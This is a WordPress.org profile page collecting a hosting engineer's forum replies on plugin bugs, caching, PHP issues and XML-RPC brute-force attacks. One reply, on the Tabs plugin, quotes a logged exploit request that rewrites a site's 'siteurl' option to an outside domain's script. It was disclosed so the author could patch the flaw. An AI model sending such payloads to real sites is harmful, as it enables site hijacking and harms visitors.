Title: tigertech's Replies | WordPress.org --- # tigertech [ ](https://wordpress.org/support/users/tigertech/) * [Profile](https://wordpress.org/support/users/tigertech/) * [Topics Started](https://wordpress.org/support/users/tigertech/topics/) * [Replies Created](https://wordpress.org/support/users/tigertech/replies/) * [Reviews Written](https://wordpress.org/support/users/tigertech/reviews/) * [Topics Replied To](https://wordpress.org/support/users/tigertech/replied-to/) * [Engagements](https://wordpress.org/support/users/tigertech/engagements/) * [Favorites](https://wordpress.org/support/users/tigertech/favorites/) Search replies: ## Forum Replies Created Viewing 15 replies - 1 through 15 (of 52 total) 1 [2](https://wordpress.org/support/users/tigertech/replies/page/2/?output_format=md) [3](https://wordpress.org/support/users/tigertech/replies/page/3/?output_format=md) [4](https://wordpress.org/support/users/tigertech/replies/page/4/?output_format=md) [→](https://wordpress.org/support/users/tigertech/replies/page/2/?output_format=md) * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin] Register role ignored and user became an admin](https://wordpress.org/support/topic/register-role-ignored-and-user-became-an-admin/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [3 years, 1 month ago](https://wordpress.org/support/topic/register-role-ignored-and-user-became-an-admin/#post-16853176) * One of our hosting customers saw the same thing. We tracked it down to a security bug in Ultimate Member 2.6.3, which appears to have just been fixed in 2.6.4. You can see in [the changelog](https://ultimatemember.com/changelogs/): - Added: Avoid using `extract()` function and increase supporting WordPress Code Standards * According to our forensic logs, the bug was caused by the Ultimate Member code using `extract()` on untrusted form data, which programmers [are not supposed to do.](https://www.php.net/manual/en/function.extract.php) 🙁 * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[Tabs – Responsive Tabs with WooCommerce Product Tab Extension] Security Checking](https://wordpress.org/support/topic/security-checking/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [4 years, 7 months ago](https://wordpress.org/support/topic/security-checking/#post-15181804) * Just as a followup to this, I work for a hosting company, and one of our customer sites was also hacked via this vulnerability yesterday. We use mod_security logging for forensics, so I can tell you the exact request used to do it: * `POST /wp-json//oxilabtabsultimate/v1/oxi_settings HTTP/1.1` * Post data: * `rawdata={"name":"siteurl","value":"https://line.storerightdesicion.com/ping/? track.js"}` * Hopefully that helps you (the author) ensure that the vulnerability is patched. * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[WPForms - AI Form Builder for WordPress - Contact Forms, Payment Forms, Survey Form, Quiz & More] Test email works, but not receiving notification emails](https://wordpress.org/support/topic/test-email-works-but-not-receiving-notification-emails/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [6 years, 4 months ago](https://wordpress.org/support/topic/test-email-works-but-not-receiving-notification-emails/#post-12576052) * I’m working with an organization that uses WPForms and recently started seeing heavily delayed notifications. Adding the code snippet above fixes it. * However, the site is very busy (several page views per second), not low traffic. * The problem happened regardless of whether it was using the built-in PHP mail() function of an SMTP server. * As an editorial comment: I looked through all this async sending code trying to debug it, and it’s incredibly baroque and complex. I can’t believe how much impenetrable code there is to just eventually call (or not call) wp_mail(). I’d strongly encourage you to change it back to send email normally, without all of these layers of indirection — or at least make “send notification immediately” an option people can choose. Thanks! * Forum: [Themes and Templates](https://wordpress.org/support/forum/themes-and-templates/) In reply to: [[Smartline Lite] Pages with widgets not working](https://wordpress.org/support/topic/pages-with-widgets-not-working/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [8 years, 8 months ago](https://wordpress.org/support/topic/pages-with-widgets-not-working/#post-9735001) * Do you use the NextGEN gallery plugin as well? If so, this thread will help: * [https://wordpress.org/support/topic/500-internal-server-error-urgent-2/](https://wordpress.org/support/topic/500-internal-server-error-urgent-2/) * If not, it’s possible that something else you are using has the same problem as NextGEN Gallery, where a new bug in PHP 7.0.26 and PHP 7.1.12 causes this: * [https://bugs.php.net/bug.php?id=75573](https://bugs.php.net/bug.php?id=75573) * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[Photo Gallery, Sliders, Proofing and Themes - NextGEN Gallery] 500 Internal Server Error – URGENT](https://wordpress.org/support/topic/500-internal-server-error-urgent-2/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [8 years, 8 months ago](https://wordpress.org/support/topic/500-internal-server-error-urgent-2/#post-9734932) * FYI, this problem is caused by this PHP bug in PHP 7.0.26 and 7.1.12: * [https://bugs.php.net/bug.php?id=75573](https://bugs.php.net/bug.php?id=75573) * It appears the bug has been fixed for future versions of PHP. * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[WP Super Cache] It breaks website](https://wordpress.org/support/topic/it-breaks-website/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [10 years, 10 months ago](https://wordpress.org/support/topic/it-breaks-website/#post-6603596) * FYI, this is caused by [the bug identified in this thread](https://wordpress.org/support/topic/all-website-pages-downloading-gz-file-after-latest-update). * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[WP Super Cache] All Website Pages Downloading GZ File After Latest Update](https://wordpress.org/support/topic/all-website-pages-downloading-gz-file-after-latest-update/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [10 years, 10 months ago](https://wordpress.org/support/topic/all-website-pages-downloading-gz-file-after-latest-update/page/2/#post-6589113) * I tracked this down. The bug is in line 1454 of “wp-cache.php”: * ``` if( !is_file( $cache_path . '.htaccess' ) ) { $gziprules = insert_with_markers( $cache_path . '.htaccess', 'supercache'... ``` * This says “if the file at /wp-content/cache/.htaccess doesn’t exist, create one that contains the gzip rules”. * That always worked before version 1.4.5, because nothing else creates that file. But in 1.4.5, the file has already been created by `function wp_cache_add_index_protection()`, so the line 1454 test now fails to add the necessary gzip rules. * I think the `if( !is_file` at line 1454 should probably just be removed completely, making it run `insert_with_markers` whether the .htaccess file already exists or not. * (This should probably be a high-priority fix released ASAP; the bug breaks most WP Super Cache sites where people turn on gzip compression.) * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[WP Super Cache] All Website Pages Downloading GZ File After Latest Update](https://wordpress.org/support/topic/all-website-pages-downloading-gz-file-after-latest-update/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [10 years, 10 months ago](https://wordpress.org/support/topic/all-website-pages-downloading-gz-file-after-latest-update/page/2/#post-6589111) * I can confirm this bug. It is happening because when using mod_rewrite with gzip compression, the “wp-content/cache/.htaccess” file does not properly contain the magic gzip stuff anymore: * ``` # BEGIN supercache ForceType text/html FileETag None AddEncoding gzip .gz AddType text/html .gz .... ``` * Instead, it contains ONLY this: * ``` # BEGIN INDEX Options -Indexes # END INDEX ``` * It appears that somehow, the new code that creates the index protection makes it not correctly write the “supercache” section. I can easily duplicate this by simply re-saving the settings. * Donncha, perhaps this is enough for you to troubleshoot it; if not, I’ll try to trace what code path makes this happen later today. * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[WP Super Cache] Page Speed Testers Saying I Should Cache — I am, I am!](https://wordpress.org/support/topic/page-speed-testers-saying-i-should-cache-i-am-i-am/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [11 years, 9 months ago](https://wordpress.org/support/topic/page-speed-testers-saying-i-should-cache-i-am-i-am/#post-5396299) * You’re mixing up two unrelated “caching” concepts. * WP Super Cache caches pages on the server, allowing the server software to send the same page quickly to a different visitor in the future. * The caching that webpagetest.org recommends is “browser caching” on visitor computers, which is different. It consists of setting “HTTP response headers” that tell a browser it’s okay to save a copy of (e.g.) images that change infrequently. This allows the cached copy already on the visitor’s computer to be displayed quickly if that person views the same page in the future, without needing to fetch the identical image from the server again. * The latter browser caching is unrelated to WP Super Cache. Searching Google for“ browser caching expires” will show you some useful information about it. * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[WP Super Cache] Wp Super Cache error with mod_fcgid](https://wordpress.org/support/topic/wp-super-cache-error-with-mod_fcgid-1/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [11 years, 9 months ago](https://wordpress.org/support/topic/wp-super-cache-error-with-mod_fcgid-1/#post-5411243) * While I can’t help with the cause of your problem, we use WP Super Cache and mod_fcgid together on thousands of sites, and it works fine. We’ve never done anything special to make it work. * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[Matchchat] MatchChat plugin has poor performance on busy sites due to repeated CREATE TABLE](https://wordpress.org/support/topic/matchchat-plugin-has-poor-performance-on-busy-sites-due-to-repeated-create-table/) * Thread Starter [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [12 years ago](https://wordpress.org/support/topic/matchchat-plugin-has-poor-performance-on-busy-sites-due-to-repeated-create-table/#post-5111017) * As a followup to this: further investigation reveals that the reason the problem is so bad is that when MatchChat tries to create the table on the site that exhibits such poor performance, it can’t, because the wp_posts table it references with foreign keys is an old MyISAM table. * So the CREATE TABLE fails with: * `Can't create table 'redrants.mc_commentcache' (errno: 150)` * But the MatchChat plugin doesn’t notice this and continues trying to create it on each page view (which, as mentioned, is resource-intensive). * A simple solution to this is to manually create the table it wants without the foreign key reference: * ``` CREATE TABLE IF NOT EXISTS mc_commentcache ( ID bigint(20) unsigned NOT NULL AUTO_INCREMENT, post_ID bigint(20) unsigned NOT NULL, comments bigint(20) unsigned NOT NULL, time bigint(20) unsigned NOT NULL, PRIMARY KEY (ID), UNIQUE KEY postID (post_ID) ) ENGINE=InnoDB ``` * After doing that, it no longer tries to create the table on every page view, and the MySQL resource usage is normal again. * Hope this helps someone else in the same boat, since this is probably common.( Of course, it would be better if the MatchChat plugin detected this problem and fixed it — this way, or another way — by itself…) * Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/) In reply to: [Recent new xmlrpc.php brute force password-guessing attack details](https://wordpress.org/support/topic/recent-new-xmlrpcphp-brute-force-password-guessing-attack-details/) * Thread Starter [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [12 years ago](https://wordpress.org/support/topic/recent-new-xmlrpcphp-brute-force-password-guessing-attack-details/#post-5121893) * > you probably have a terrible password if “testing and stockpiling valid passwords” > via XML-RPC is your primary security concern * I absolutely agree. * My original post was more in the context of companies that host large numbers of WordPress blogs for “strangers” (and so was the other thread), where you end up being responsible for their site security but can’t control what passwords they choose or what plugins they run. In that case, the companies do have to consider XML-RPC rate limiting, etc. * The moderated link above was intended to provide technical details of the attack XML contents for people who are responsible for other people’s blogs, so they can set up rules in mod_security, etc. to block it. I won’t repost any links, but you can search for “wp.getUsersBlogs attack” to find technical details from several prominent sites posting about this in the last couple of days. There just wasn’t any mention of the attack yet here in the support forums (the other thread got posted simultaneously). * Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/) In reply to: [Is WordPress’s XML-RPC functionality a security vulnerability?](https://wordpress.org/support/topic/is-wordpresss-xml-rpc-functionality-a-security-vulnerability/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [12 years ago](https://wordpress.org/support/topic/is-wordpresss-xml-rpc-functionality-a-security-vulnerability/#post-5121856) * > If the hosts are really concerned about it, they can rate-limit XML-RPC too * That’s definitely true. The unfortunate thing is that it’s much harder to add rate-limiting rules for XML-RPC, so fewer will. * It’s easy to rate-limit HTTP POSTs to wp-login.php because every single one of them represents a single attempt to login (and nothing else). And it’s easy to tell whether the request sent the right password or not based on the HTTP result code. So you can trivially generate a list of all IP addresses that are sending bad logins just by searching through your Web server’s access.log. * But a POST to xmlrpc.php can contain many different kinds of actions, some of which are expected to be repeated and must not be rate-limited. * So you have to examine the XML content of the request to find ones that are password guessing attempts — and if you want to know whether it was valid or not, you have to examine the contents of the result body, too, because the HTTP result code is always “200”, whether a bad password is sent or not. * Many hosting companies probably don’t have the tools to intercept and parse HTTP request and result bodies to do this properly, so I would expect that on average, xmlrpc.php is going to be more vulnerable than wp-login.php, unfortunately. 🙁 * > Just follow the recommended security procedures, and you’ll have nothing to > worry about * Agreed. * Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/) In reply to: [Recent new xmlrpc.php brute force password-guessing attack details](https://wordpress.org/support/topic/recent-new-xmlrpcphp-brute-force-password-guessing-attack-details/) * Thread Starter [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [12 years ago](https://wordpress.org/support/topic/recent-new-xmlrpcphp-brute-force-password-guessing-attack-details/#post-5121853) * > That’s not really a new method, rather an old method gaining popularity again * I think there’s perhaps a misunderstanding. This botnet isn’t using it to try to post blog entries, comments, and so on, as I think you’re referring to (that is indeed something seen often before). The use of “wp.getUsersBlogs” seems new; I can find no references on the Internet to botnets using it before this month. * Rather, they’re now using XML-RPC solely to test and stockpile valid passwords for later use (because their POSTs to xmlrpc.php have no other effect). It appears they’ve switched from wp-login.php username testing to xmlrpc.php testing, perhaps because so many hosting companies are blocking or rate-limiting wp-login.php attempts. * Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/) In reply to: [Is WordPress’s XML-RPC functionality a security vulnerability?](https://wordpress.org/support/topic/is-wordpresss-xml-rpc-functionality-a-security-vulnerability/) * [tigertech](https://wordpress.org/support/users/tigertech/) * (@tigertech) * [12 years ago](https://wordpress.org/support/topic/is-wordpresss-xml-rpc-functionality-a-security-vulnerability/#post-5121852) * > It still requires a username and password to post * Well, note that the problems with it go beyond the danger of allowing a stranger who knows your password to post to your blog. * In addition to XML-RPC being used to try to [link moderated – keep support on this site] guess passwords (this is new since many hosting companies now rate- limit wp-login.php), it can also be used to [make your site attack other sites](http://blog.sucuri.net/2014/03/more-than-162000-wordpress-sites-used-for-distributed-denial-of-service-attack.html). It’s likely that the hosting company was referring to these unexpected dangers. * XML-RPC is still enabled on our blog because we have other measures in place, but if I didn’t, I think I’d disable it. Removing **any** software you don’t use from your site improves security as it minimizes what’s exposed to hackers. But that’s a general rule, not specific to XML-RPC; the same thing applies to removing plugins and old theme files you don’t use, for example. Viewing 15 replies - 1 through 15 (of 52 total) 1 [2](https://wordpress.org/support/users/tigertech/replies/page/2/?output_format=md) [3](https://wordpress.org/support/users/tigertech/replies/page/3/?output_format=md) [4](https://wordpress.org/support/users/tigertech/replies/page/4/?output_format=md) [→](https://wordpress.org/support/users/tigertech/replies/page/2/?output_format=md)